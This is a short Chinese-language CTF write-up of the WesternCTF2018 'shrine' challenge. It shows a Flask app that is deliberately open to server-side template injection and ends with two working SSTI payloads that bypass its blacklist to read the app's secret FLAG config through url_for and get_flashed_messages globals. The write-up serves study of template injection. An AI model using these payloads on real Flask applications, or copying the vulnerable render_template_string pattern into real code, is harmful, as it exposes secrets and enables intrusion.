[WesternCTF2018]shrine1
题目源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
网上的解法都是大同小异,我在这里也仅作记录,后面有了更好的理解再回来补。
关于flask的简单介绍可以看这篇文章,读懂这道题的代码够了。
https://www.cnblogs.com/chaojiyingxiong/p/9549987.html
这道题是SSTI模板注入,简单理解下就是一些特殊情况数据会被当做代码来执行,而且得是{{}}里面的数据才行。在源码里可以看到@app.route('/shrine/<path:shrine>')
,试着在URL后面加上/shrine/{{7*7}}
和/shrine/{{7*'7'}}
,可以看到算式被执行了
再在源码里找到app.config['FLAG'] = os.environ.pop('FLAG')
,用os.environ取出Linux系统中的FLAG变量赋值给了app.config,猜测执行config就能得到flag。但是config和self都在黑名单里,而且这里是先替换()再过滤黑名单,没法用con(fig这类绕过。
WP是用了url_for和get_flashed_messages来获取current_app全局变量,current_app是一个flask的实例,算是通过对象之间的引用来获得被禁止对象信息的一种吧。__globals__是python里的函数,可以看到所有可读的全局变量。
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}